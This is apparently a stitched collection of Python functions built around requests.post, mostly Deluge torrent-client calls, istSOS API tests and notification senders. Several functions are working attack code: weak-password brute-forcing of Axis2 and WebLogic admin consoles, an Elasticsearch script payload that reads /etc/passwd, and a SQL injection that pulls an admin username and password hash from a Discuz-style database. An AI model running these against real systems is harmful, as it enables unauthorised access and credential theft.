def setSeedRatio(result): logger.debug('Deluge: Setting seed ratio') if not any(delugeweb_auth): _get_auth() ratio = None if result['ratio']: ratio = result['ratio'] if ratio: post_data = json.dumps({ "method": "core.set_torrent_stop_at_ratio", "params": [result['hash'], True], "id": 5 }) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) _ = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) post_data = json.dumps({ "method": "core.set_torrent_stop_ratio", "params": [result['hash'], float(ratio)], "id": 6 }) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) return not json.loads(response.text)['error'] return True
def setTorrentPath(result): logger.debug('Deluge: Setting download path') if not any(delugeweb_auth): _get_auth() if lazylibrarian.DIRECTORY('Download'): post_data = json.dumps({"method": "core.set_torrent_move_completed", "params": [result['hash'], True], "id": 7}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) move_to = lazylibrarian.DIRECTORY('Download') if not os.path.exists(move_to): logger.debug('Deluge: %s directory doesn\'t exist, let\'s create it' % move_to) os.makedirs(move_to) setperm(move_to) post_data = json.dumps({"method": "core.set_torrent_move_completed_path", "params": [result['hash'], move_to], "id": 8}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) return not json.loads(response.text)['error'] return True
def setTorrentPath(result): logger.debug('Deluge: Setting download path') if not any(delugeweb_auth): _get_auth() if lazylibrarian.DIRECTORY('Download'): post_data = json.dumps({"method": "core.set_torrent_move_completed", "params": [result['hash'], True], "id": 7}) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) _ = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) move_to = lazylibrarian.DIRECTORY('Download') if not os.path.exists(move_to): logger.debug('Deluge: %s directory doesn\'t exist, let\'s create it' % move_to) os.makedirs(move_to) setperm(move_to) post_data = json.dumps({"method": "core.set_torrent_move_completed_path", "params": [result['hash'], move_to], "id": 8}) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) return not json.loads(response.text)['error'] return True
def publish(self, telemetry, attributes, fromDB =False): try: print("Publicando en %s en %s" %(self.token, self.host,)) response = requests.post("http://%s:%s/api/v1/%s/attributes" %(self.host,self.port,self.token), data = attributes, headers={"Content-Type": "application/json"}) print("P.Atributes: %i" %response.status_code) response = requests.post("http://%s:%s/api/v1/%s/telemetry" %(self.host,self.port,self.token), data = telemetry, headers={"Content-Type": "application/json"}) print("P.Telemetry: %i" %response.status_code) print(telemetry) if (response.status_code is not 200): raise Exception("Error %d en publicacion" %(response.status_code)) self.wdt.feed() return True # self.mqtt.connect() # self.mqtt.publish(self.ATTRIBUTE_URL, attributes) # self.mqtt.publish(self.TELEMETRY_URL, telemetry) # self.mqtt.disconnect() except Exception as e: print("No fue posible publicar datos de %s en %s debido a: %s" %(self.token, self.host,repr(e))) self.logger.error("No fue posible publicar datos de %s en %s debido a: %s" %(self.token, self.host,repr(e))) self.wdt.feed() # self.logger.debug(repr(e)) # print(repr(e)) if (not fromDB): self.saveData(telemetry) return False
def setTorrentLabel(result): logger.debug('Deluge: Setting label') label = lazylibrarian.DELUGE_LABEL if not any(delugeweb_auth): _get_auth() if ' ' in label: logger.error( 'Deluge: Invalid label. Label can\'t contain spaces - replacing with underscores' ) label = label.replace(' ', '_') if label: # check if label already exists and create it if not post_data = json.dumps({ "method": 'label.get_labels', "params": [], "id": 3 }) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) labels = json.loads(response.text)['result'] if labels is not None: if label not in labels: try: logger.debug( 'Deluge: %s label doesn\'t exist in Deluge, let\'s add it' % label) post_data = json.dumps({ "method": 'label.add', "params": [label], "id": 4 }) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) logger.debug('Deluge: %s label added to Deluge' % label) except Exception as e: logger.error('Deluge: Setting label failed: %s' % str(e)) formatted_lines = traceback.format_exc().splitlines() logger.error('; '.join(formatted_lines)) # add label to torrent post_data = json.dumps({ "method": 'label.set_torrent', "params": [result['hash'], label], "id": 5 }) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) logger.debug('Deluge: %s label added to torrent' % label) else: logger.debug('Deluge: Label plugin not detected') return False return not json.loads(response.text)['error']
def getTorrentFolder(torrentid): logger.debug('Deluge: Get torrent folder name') if not any(delugeweb_auth): _get_auth() try: post_data = json.dumps({ "method": "web.get_torrent_status", "params": [torrentid, ["total_done"]], "id": 22 }) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) total_done = json.loads(response.text)['result']['total_done'] tries = 0 while total_done == 0 and tries < 10: tries += 1 time.sleep(5) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) total_done = json.loads(response.text)['result']['total_done'] post_data = json.dumps({ "method": "web.get_torrent_status", "params": [ torrentid, [ "name", "save_path", "total_size", "num_files", "message", "tracker", "comment" ] ], "id": 23 }) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) # save_path = json.loads(response.text)['result']['save_path'] name = json.loads(response.text)['result']['name'] return name except Exception as err: logger.debug('Deluge %s: Could not get torrent folder name: %s' % (type(err).__name__, str(err)))
def getTorrentFolder(result): logger.debug('Deluge: Get torrent folder name') if not any(delugeweb_auth): _get_auth() try: post_data = json.dumps({ "method": "web.get_torrent_status", "params": [result['hash'], ["total_done"]], "id": 22 }) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['total_done'] = json.loads( response.text)['result']['total_done'] tries = 0 while result['total_done'] == 0 and tries < 10: tries += 1 time.sleep(5) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['total_done'] = json.loads( response.text)['result']['total_done'] post_data = json.dumps({ "method": "web.get_torrent_status", "params": [ result['hash'], [ "name", "save_path", "total_size", "num_files", "message", "tracker", "comment" ] ], "id": 23 }) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['save_path'] = json.loads(response.text)['result']['save_path'] result['name'] = json.loads(response.text)['result']['name'] return json.loads(response.text)['result']['name'] except Exception as e: logger.debug('Deluge: Could not get torrent folder name: %s' % str(e))
def services_name_dataqualities_POST(pp): print "services/{name}/dataqualities, POST" dbname = "demo" post = { "code": 42, "name": "the answer", "description": "Answer to the Ultimate Question of Life, the Universe, and Everything" } res = requests.post('http://localhost/istsos/wa/istsos/services/' + dbname + '/dataqualities', data=json.dumps(post), prefetch=True) try: res.raise_for_status( ) # raise exception if som comunication error occured except Exception as e: print str(e) pp.pprint(res.json) print "\n ************************************ \n"
def services_name_observedproperties_POST(pp): print "services/{name}/observedproperties, POST" dbname = 'demo' post = { "definition": "urn:ogc:def:parameter:x-istsos:1.0:meteo:air:LOVEisintheAIR", "procedures": ["P_LUGANO", "LOCARNO"], "name": "LoveIsInTheAir", "description": "liquid precipitation or snow water equivalent" } res = requests.post('http://localhost/istsos/wa/istsos/services/' + dbname + '/observedproperties', data=json.dumps(post), prefetch=True) try: res.raise_for_status( ) # raise exception if som comunication error occured except Exception as e: print str(e) pp.pprint(res.json) print "\n ************************************ \n"
def services_name_offerings_POST(pp): print "services/{name}/offerings, POST" dbname = 'demo' post = { "description": "temporary offering to hold self-registered procedures/sensors waiting for service adimistration acceptance", "expiration": "", "active": True, "procedures": 4, "id": 1, "name": "piripicchio" } res = requests.post('http://localhost/istsos/wa/istsos/services/' + dbname + '/offerings', data=json.dumps(post), prefetch=True) try: res.raise_for_status( ) # raise exception if som comunication error occured except Exception as e: print str(e) pp.pprint(res.json) print "\n ************************************ \n"
def payForRide(self, ride, passenger): driver = ride.driver access_token = self.session.get('venmo_token') note = "Spent this money on carpooling with college-carpool.appspot.com (Ride #%s)" % (ride.key().id()) venmo_email = driver.venmo_email email = venmo_email if venmo_email else driver.email amount = ride.cost payload = { "access_token":access_token, "note":note, "amount":amount, "email":email } print amount, access_token, email logging.error(amount) url = "https://api.venmo.com/v1/payments" response = requests.post(url, payload) # check response response_dict = response.json() ride.addPassenger(passenger) passenger.addRide(ride) sender_address = "*****@*****.**" subject = "Have a safe upcoming drive!" body = "Thank you for using college-carpool. You are driving from %s to %s. You will receive a payment confirmation soon" \ % (ride.start, ride.destination) mail.send_mail(sender_address,[driver.email, passenger.email],subject,body) ride.put() passenger.put() return True
def get(self): AUTHORIZATION_CODE = self.request.get('code') data = { "client_id": constants.CLIENT_ID, "client_secret": constants.CLIENT_SECRET, "code":AUTHORIZATION_CODE } response = requests.post("https://api.venmo.com/v1/oauth/access_token", data) response_dict = response.json() # update user venmo info like email and venmoID db_user = User.get_by_id(self.getUser()) if db_user.permission == "guest": pass else: db_user.venmoID = int(response_dict.get('user').get('id')) db_user.venmo_email = response_dict.get('user').get('email') db_user.put() access_token = response_dict.get('access_token') user = response_dict.get('user').get('username') self.session['venmo_token'] = access_token self.session['venmo_username'] = user self.session['signed_into_venmo'] = True nextURL = self.request.get('next') return self.redirect(nextURL if nextURL else '/home')
def sendRemoteMessage(self, prefix, data_str, onlyRstatus=False): print("Enviando mensaje remoto: %s %s" % (prefix, data_str)) if self.rStatusActive: try: self.remoteStatus.set_device_state(prefix, data_str) except Exception as e: print( "No se pudo enviar mensaje de reporte de error por set_device_state" ) print_exception(e) if self.tgramActive and not onlyRstatus: data_str = "%s: %s %s" % (self.name, prefix, data_str) headers = { 'Content-Type': 'application/json', 'Accept': 'application/json' } data = {"chat_id": self.chatId, "text": data_str} url = 'https://api.telegram.org/bot%s/sendMessage' % ( self.telegramToken) try: collect() r = post(url=url, data=dumps(data), headers=headers) print(r.status_code) except Exception as e: collect() print( "No se pudo enviar mensaje de reporte de error por telegram" ) print_exception(e)
def _add_torrent_file(result): logger.debug('Deluge: Adding file') if not any(delugeweb_auth): _get_auth() try: # content is torrent file contents that needs to be encoded to base64 post_data = json.dumps({ "method": "core.add_torrent_file", "params": [ result['name'] + '.torrent', b64encode(result['content'].encode('utf8')), {} ], "id": 2 }) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['hash'] = json.loads(response.text)['result'] print response print response.text logger.debug('Deluge: Response was %s' % str(json.loads(response.text)['result'])) return json.loads(response.text)['result'] except Exception as e: logger.error('Deluge: Adding torrent file failed: %s' % str(e)) formatted_lines = traceback.format_exc().splitlines() logger.error('; '.join(formatted_lines))
def operations_validatedb_POST(pp): print "operations/validatedb, POST" put = { #not the right object implementation "title": "IST Sensor Observation Service 200000", "abstract": "hydro-meteorological monitoring network", "keywords": "SOS,IST,SUPSI", "fees": "NONE", "accessconstrains": "NONE", "authority": " x-istsos", "urnversion": "1.0" } res = requests.post( 'http://localhost/istsos/wa/istsos/operations/validatedb', data=json.dumps(put), prefetch=True) try: res.raise_for_status( ) # raise exception if som comunication error occured except Exception as e: print str(e) pp.pprint(res.json) print "\n ************************************ \n"
def send_SSH_key_to_beanstalk(): base_url = "https://punchrva.beanstalkapp.com/api/" public_key_url = base_url + "public_keys.json" users_url = base_url + "users.json" user = "******" password = "******" content_type = "application/json" p = urllib2.HTTPPasswordMgrWithDefaultRealm() p.add_password(None, base_url, user, password) handler = urllib2.HTTPBasicAuthHandler(p) opener = urllib2.build_opener(handler) urllib2.install_opener(opener) user_json = get_user_list() userList = [] for record in user_json: userList.append(record['user']['login']) chosen_user = choose_user(userList, 0) user_id = '' for record in user_json: if record['user']['login'] == chosen_user: user_id = record['user']['id'] with open(os.environ["HOME"] + "/.ssh/id_rsa.pub", "r") as pub_key: this_public_key = pub_key.read() data = { "user_id": str(user_id), "public_key": {"content": this_public_key} } print "this will send" print data headers = { 'content-type': content_type, 'user-agent': "setup tool-add public key" } req = requests.post( public_key_url, data=json.dumps(data), headers=headers, auth=HTTPBasicAuth(user, password) ) if not req.ok: print "Error with uploading to Beanstalk." import pprint import sys pprint.pprint(req) print req.content print req.text print req.headers print req.status_code sys.exit() pass
def http(method, rdata='all', uri=None, timeout=7, params=None, data=None, headers=None, **kwargs): if not method: raise 'No method specified' if not uri: raise 'Invalid URI supplied' if not headers: headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.4 (KHTML, ' 'like Gecko) Chrome/22.0.1229.79 Safari/537.4', 'Cache-Control': 'max-age=0', 'Accept-Encoding': 'gzip,deflate,sdch', 'X-Service': 'Code Python IRC Bot' } if method == 'get': response = requests.get(uri, timeout=timeout, params=params, headers=headers, **kwargs) elif method == 'post': response = requests.post(uri, timeout=timeout, data=data, headers=headers, **kwargs) elif method == 'head': response = requests.head(uri, timeout=timeout, data=data, headers=headers, **kwargs) else: raise 'Method not supported' if rdata == 'all': return response elif rdata == 'json': return response.json() elif rdata == 'text': return response.text elif rdata == 'headers': return response.headers else: raise 'Return data not supported'
def _add_torrent_url(result): logger.debug('Deluge: Adding URL') if not any(delugeweb_auth): _get_auth() try: post_data = json.dumps({ "method": "core.add_torrent_url", "params": [result['url'], {}], "id": 2 }) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) result['hash'] = json.loads(response.text)['result'] msg = 'Deluge: Response was %s' % str( json.loads(response.text)['result']) logger.debug(msg) if 'was None' in msg: logger.error( 'Deluge: Adding torrent URL failed: Is the WebUI running?') return json.loads(response.text)['result'] except Exception as err: logger.error('Deluge %s: Adding torrent URL failed: %s' % (type(err).__name__, str(err))) return False
def send_SSH_key_to_beanstalk(): base_url = "https://punchrva.beanstalkapp.com/api/" public_key_url = base_url + "public_keys.json" users_url = base_url + "users.json" user = "******" password = "******" content_type = "application/json" p = urllib2.HTTPPasswordMgrWithDefaultRealm() p.add_password(None, base_url, user, password) handler = urllib2.HTTPBasicAuthHandler(p) opener = urllib2.build_opener(handler) urllib2.install_opener(opener) user_json = get_user_list() userList = [] for record in user_json: userList.append(record['user']['login']) chosen_user = choose_user(userList, 0) user_id = '' for record in user_json: if record['user']['login'] == chosen_user: user_id = record['user']['id'] with open(os.environ["HOME"] + "/.ssh/id_rsa.pub", "r") as pub_key: this_public_key = pub_key.read() data = { "user_id": str(user_id), "public_key": { "content": this_public_key } } print "this will send" print data headers = { 'content-type': content_type, 'user-agent': "setup tool-add public key" } req = requests.post(public_key_url, data=json.dumps(data), headers=headers, auth=HTTPBasicAuth(user, password)) if not req.ok: print "Error with uploading to Beanstalk." import pprint import sys pprint.pprint(req) print req.content print req.text print req.headers print req.status_code sys.exit() pass
def exploit(ip): result = [] if Domain: for domain in Domain: try: url = domain+'/axis2/axis2-admin/' resp = requests.get(url, timeout=TIME_OUT, proxies=MY_PROXY, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) except Exception,e: logging.error(e) continue if "axis_l.jpg" in resp.text and resp.status_code == 200: result.append('%s/axis2/axis2-admin/ >>>> 存在axis管理口'%domain) flag_list=['Administration Page</title>','System Components','"axis2-admin/upload"','include page="footer.inc">','axis2-admin/logout'] user_list=['axis','admin','manager','root'] pass_list=['axis','axis2','123456','12345678','password','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root'] for user in user_list: for password in pass_list: try: login_url = domain+'/axis2/axis2-admin/login' data = {'username':user, 'password':password, 'submit':'Login'} resp = requests.post(login_url, data=data, timeout=TIME_OUT, proxies=MY_PROXY, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) except Exception,e: logging.error(e) continue for flag in flag_list: if flag in resp.text: result.append('%s >>>> 存在Axis弱口令%s:%s'%(domain,user,password)) url = domain+"/axis2/axis2-web/HappyAxis.jsp" try: resp = requests.get(url, timeout=TIME_OUT, proxies=MY_PROXY, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) except Exception,e: logging.error(e)
def _add_torrent_file(result): logger.debug('Deluge: Adding file') if not any(delugeweb_auth): _get_auth() try: # content is torrent file contents that needs to be encoded to base64 post_data = json.dumps({ "method": "core.add_torrent_file", "params": [ result['name'] + '.torrent', b64encode(result['content'].encode('utf8')), {} ], "id": 2 }) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) result['hash'] = json.loads(response.text)['result'] msg = 'Deluge: Response was %s' % str( json.loads(response.text)['result']) logger.debug(msg) if 'was None' in msg: logger.error( 'Deluge: Adding torrent file failed: Is the WebUI running?') return json.loads(response.text)['result'] except Exception as err: logger.error('Deluge %s: Adding torrent file failed: %s' % (type(err).__name__, str(err))) formatted_lines = traceback.format_exc().splitlines() logger.error('; '.join(formatted_lines)) return False
def exploit(ip): result = [] if Domain: for domain in Domain: try: login_url = domain+'/console/login/LoginForm.jsp' resp = requests.get(login_url, timeout=TIME_OUT, proxies=MY_PROXY, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) except Exception,e: logging.error(e) continue if "WebLogic" in resp.text and dict(resp.headers).has_key('set-cookie'): result.append('%s >>>> Weblogic管理口'%login_url) cookies={} for line in resp.headers['set-cookie'].split(';'): if '=' in line: name,value=line.strip().split('=',1) cookies[name]=value flag_list=['<title>WebLogic Server Console</title>','javascript/console-help.js','WebLogic Server Administration Console Home','/console/console.portal','console/jsp/common/warnuserlockheld.jsp','/console/actions/common/'] user_list=['weblogic'] pass_list=['weblogic','password','Weblogic1','weblogic10','weblogic10g','weblogic11','weblogic11g','weblogic12','weblogic12g','weblogic13','weblogic13g','weblogic123','123456','12345678','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root'] for user in user_list: for password in pass_list: try: login_url = domain+'/console/j_security_check' data = {'j_username':user, 'j_password':password, 'j_character_encoding':'UTF-8'} resp = requests.post(login_url, data=data, proxies=MY_PROXY, cookies=cookies, timeout=TIME_OUT, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) except Exception,e: logging.error(e) continue # print resp.text for flag in flag_list: if flag in resp.text: result.append('%s >>>> 存在Weblogic弱口令%s:%s'%(domain,user,password))
def get_hash(url): """ 获取管理 hash :param url: 网站地址 :return: dict, 用户名及 md5 """ logger.process("Getting manager's hash") r = requests.post(url, data={ "gids[99]": "'", "gids[100][0]": ") and (select 1 from (select count(*" "),concat((select (select (select con" "cat(0x7e7e7e,username,0x7e,password," "0x7e7e7e) from cdb_members limit 0,1" ") ) from `information_schema`.tables" " limit 0,1),floor(rand(0)*2))x from " "information_schema.tables group by x" ")a)#" }, timeout=5) r.close() result = r.text.split("~~~")[1].split("~") return {"username": result[0], "md5": result[1]}
def get_hash(url): """ 获取管理 hash :param url: 网站地址 :return: dict, 用户名及 md5 """ logger.process("Getting manager's hash") r = requests.post( url, data={ "gids[99]": "'", "gids[100][0]": ") and (select 1 from (select count(*" "),concat((select (select (select con" "cat(0x7e7e7e,username,0x7e,password," "0x7e7e7e) from cdb_members limit 0,1" ") ) from `information_schema`.tables" " limit 0,1),floor(rand(0)*2))x from " "information_schema.tables group by x" ")a)#", }, timeout=5, ) r.close() result = r.text.split("~~~")[1].split("~") return {"username": result[0], "md5": result[1]}
def __getData(self,tableName,filters,fields): url = baseUrl + 'mayaExpansion/find' paramData = {'table':tableName,'filters':json.dumps(filters),'selFields':fields} result = requests.post(url,data = paramData) if result.text != '[]': return result.json() else: return ""
def __getUserInfo(self,userName,password): url = baseUrl + 'login' data = {'name': userName,'password':password} result=requests.post(url,data = data) if result.json() != "error": return result.json()['Table'] else: return "error"
def getTorrentFolder(result): logger.debug('Deluge: Get torrent folder name') if not any(delugeweb_auth): _get_auth() try: post_data = json.dumps({"method": "web.get_torrent_status", "params": [ result['hash'], ["total_done"] ], "id": 22}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['total_done'] = json.loads(response.text)['result']['total_done'] tries = 0 while result['total_done'] == 0 and tries < 10: tries += 1 time.sleep(5) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['total_done'] = json.loads(response.text)['result']['total_done'] post_data = json.dumps({"method": "web.get_torrent_status", "params": [ result['hash'], [ "name", "save_path", "total_size", "num_files", "message", "tracker", "comment" ] ], "id": 23}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['save_path'] = json.loads(response.text)['result']['save_path'] result['name'] = json.loads(response.text)['result']['name'] return json.loads(response.text)['result']['name'] except Exception as e: logger.debug('Deluge: Could not get torrent folder name: %s' % str(e))
def _sendMessage(self, msg, email, screenname, element): payload = {'notification[from_screen_name]': screenname, 'email': email, 'notification[message]': msg} r = requests.post('http://boxcar.io/devices/providers/MH0S7xOFSwVLNvNhTpiC/notifications', payload) log("boxbar url: %s payload: %s" % (r.url, payload)) log("boxcar code %s" % r.status_code) return r.status_code == requests.codes.ok
def setTorrentLabel(result): logger.debug('Deluge: Setting label') label = lazylibrarian.DELUGE_LABEL if not any(delugeweb_auth): _get_auth() if ' ' in label: logger.error('Deluge: Invalid label. Label can\'t contain spaces - replacing with underscores') label = label.replace(' ', '_') if label: # check if label already exists and create it if not post_data = json.dumps({"method": 'label.get_labels', "params": [], "id": 3}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) labels = json.loads(response.text)['result'] if labels is not None: if label not in labels: try: logger.debug('Deluge: %s label doesn\'t exist in Deluge, let\'s add it' % label) post_data = json.dumps({"method": 'label.add', "params": [label], "id": 4}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) logger.debug('Deluge: %s label added to Deluge' % label) except Exception as e: logger.error('Deluge: Setting label failed: %s' % str(e)) formatted_lines = traceback.format_exc().splitlines() logger.error('; '.join(formatted_lines)) # add label to torrent post_data = json.dumps({"method": 'label.set_torrent', "params": [result['hash'], label], "id": 5}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) logger.debug('Deluge: %s label added to torrent' % label) else: logger.debug('Deluge: Label plugin not detected') return False return not json.loads(response.text)['error']
def removeTorrent(torrentid, remove_data=False): if not any(delugeweb_auth): _get_auth() post_data = json.dumps({"method": "core.remove_torrent", "params": [torrentid, remove_data], "id": 25}) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) result = json.loads(response.text)['result'] return result
def get_res(url, data): from lib import requests try: res = requests.post(url, headers=headers, data=data, params=params, timeout=2) res.raise_for_status() return res except Exception as ex: return None
def removeTorrent(torrentid, remove_data=False): if not any(delugeweb_auth): _get_auth() result = False post_data = json.dumps({"method": "core.remove_torrent", "params": [torrentid, remove_data], "id": 25}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result = json.loads(response.text)['result'] return result
def setTorrentPause(result): logger.debug('Deluge: Pausing torrent') if not any(delugeweb_auth): _get_auth() post_data = json.dumps({"method": "core.pause_torrent", "params": [[result['hash']]], "id": 9}) post_data = post_data.encode(lazylibrarian.SYS_ENCODING) response = requests.post(delugeweb_url, data=post_data, cookies=delugeweb_auth, headers=headers) return not json.loads(response.text)['error']
def setSeedRatio(result): logger.debug('Deluge: Setting seed ratio') if not any(delugeweb_auth): _get_auth() ratio = None if result['ratio']: ratio = result['ratio'] if ratio: post_data = json.dumps({"method": "core.set_torrent_stop_at_ratio", "params": [result['hash'], True], "id": 5}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) post_data = json.dumps({"method": "core.set_torrent_stop_ratio", "params": [result['hash'], float(ratio)], "id": 6}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) return not json.loads(response.text)['error'] return True
def POST(fname, spost, address): #print fname + ', POST' res = requests.post(address, data=json.dumps(spost), prefetch=True) try: res.raise_for_status( ) # raise exception if som comunication error occured except Exception as e: print str(e) return res.json
def __getTask(self,entity_id,entity_type,uid,pid): api = conf.read_config(conf.path, 'API', 'getTaskApi') url = (base + api + '?entity_id=' + entity_id + '&entity_type='+ entity_type + '&uid='+ uid + '&project_id=' + pid ) s = requests.Session() result = requests.post(url) s.keep_alive = False if result.text != u"null": return result.json()['TASKS'] else: return ""
def add_rating(self,value): if isinstance(value,float) or isinstance(value,int): if config["api"]["session.id"] == "": return "PROBLEM_AUTH" sess_id = config["api"]["session.id"] data = {"value":float(value)} req = requests.post(config['urls']['movie.add.rating'] % (self.movie_id,sess_id),data=data) res = simplejson.loads(bytes(req.content).decode()) if res['status_message'] == "Success": return True else: return False return "ERROR"
def _sendMessage(self, msg, user_key, element): payload = {"token": XDM_PUSHOVER_PROVIDER_KEY, "user": user_key, "message": msg} try: r = requests.post("https://api.pushover.net/1/messages.json", data=payload) except requests.ConnectionError: log.error("Sending notification failed, no internet ?") return False log("pushover url: %s payload: %s" % (r.url, payload)) log("pushover code %s" % r.status_code) if not r.status_code == requests.codes.ok: log.error("Sending notification failed :(") return False return True
def open(url, post_data=None, timeout=30, headers={}, stream=False, proxy_bypass=False, expose_user_agent=False, allow_redirects=True): ''' Assemles and executes requests call url (str): url to request post-data (dict): data to send via post <optional - default None> timeout (int): seconds to wait for timeout <optional - default 30> headers (dict): headers to send with request <optional - default {}> stream (bool): whether or not to read bytes from response <optional - default False> proxy_bypass (bool): bypass proxy if any are enabled <optional - default False> Adds user-agent to headers. Returns object requests response ''' if expose_user_agent: headers['User-Agent'] = 'Watcher3' else: headers['User-Agent'] = random.choice(Url.user_agents) verifySSL = core.CONFIG.get('Server', {}).get('verifyssl', False) kwargs = { 'timeout': timeout, 'verify': verifySSL, 'stream': stream, 'headers': headers, 'allow_redirects': allow_redirects } if not proxy_bypass: kwargs['proxies'] = Url.proxies if post_data: kwargs['data'] = post_data r = requests.post(url, **kwargs) else: r = requests.get(url, **kwargs) if r.status_code != 200: logging.warning('Error code {} in response from {}'.format( r.status_code, r.request.url.split('?')[0])) return r
def _removeItemsFromWatchlist(self, unwatchlistURL, username, password, apikey, traktData): url = self._makeURL(unwatchlistURL, apikey, "") log.info('Removing items from trakt watchlist %s' % traktData) postdata = {'username': username, 'password': self._hash(password)} postdata.update(traktData) try: r = requests.post(url, data=json.dumps(postdata)) try: return r.json()['status'] == 'success' except ValueError: return False except: return False
def registerProcedure(self, procedure): request = procedure.toJson() res = req.post("%s/wa/istsos/services/%s/procedures" % (self.host, self.service), data=json.dumps(request), auth=self.auth) # print res.text jsonRes = res.json() if not jsonRes["success"]: #print json.dumps(procedures[pname].data) raise Exception("Registering procedure %s failed: \n%s" % (procedure.name, jsonRes["message"])) else: print "Sensor '%s' registered successfully" % procedure.name
def _add_torrent_url(result): logger.debug('Deluge: Adding URL') if not any(delugeweb_auth): _get_auth() try: post_data = json.dumps({"method": "core.add_torrent_url", "params": [result['url'], {}], "id": 2}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) result['hash'] = json.loads(response.text)['result'] logger.debug('Deluge: Response was %s' % str(json.loads(response.text)['result'])) return json.loads(response.text)['result'] except Exception as e: logger.error('Deluge: Adding torrent URL failed: %s' % str(e))
def setTorrentPause(result): logger.debug('Deluge: Pausing torrent') if not any(delugeweb_auth): _get_auth() if lazylibrarian.DELUGE_PAUSED: post_data = json.dumps({"method": "core.pause_torrent", "params": [[result['hash']]], "id": 9}) response = requests.post(delugeweb_url, data=post_data.encode('utf-8'), cookies=delugeweb_auth) return not json.loads(response.text)['error'] return True
def request(self, username, password, user_agent=DEFAULT_USER_AGENT): request = requests.post( self.url, auth=(username, password), headers={"User-agent": user_agent}, data={ "application": self.application, "name": self.name, "title": self.title, "description": self.description, "icon-md5": "dc0f5209059a0e7f3ff298680f98bc1b", "icon-sha1": "22339dd6e17eb099ed023c72bd7b5deaf785f2bb", }, ) return request
def exploit(ip): result = [] if Domain: for domain in Domain: try: url = domain + '/' resp = requests.get( url, timeout=TIME_OUT, proxies=MY_PROXY, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) except Exception, e: logging.error(e) continue if "You Know, for Search" in resp.text: result.append('%s/ >>>> 发现存在Elasticsearch' % domain) try: resp = requests.post( domain + "/_search?pretty", data="""{ "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/passwd": { "script": "import java.util.;\\nimport java.io.;\\nnew Scanner(new File(\\"/etc/passwd\\")).useDelimiter(\\"\\\\Z\\").next();" } } }""", timeout=TIME_OUT, proxies=MY_PROXY, headers={"User-Agent": random.choice(USER_AGENT_LIST)}, allow_redirects=True, verify=False) if "root:*" in resp.text: result.append( '%s/_search?pretty >>>> 发现存在Elasticsearch远程命令执行' % domain) except Exception, e: logging.error(e) continue
def _sendMessage(self, msg, email, screenname, element): payload = {'notification[from_screen_name]': screenname, 'email': email, 'notification[message]': msg} r = requests.post('http://boxcar.io/devices/providers/%s/notifications' % XDM_BOXCAR_PROVIDER_KEY, payload) if r.status_code == 401: if self._sendSubscribtion(email): return self._sendMessage(msg, email, screenname, element) else: log.error('Sending notification failed, and then the subscription failed too :(') return False log("boxbar url: %s payload: %s" % (r.url, payload)) log("boxcar code %s" % r.status_code) return r.status_code == requests.codes.ok
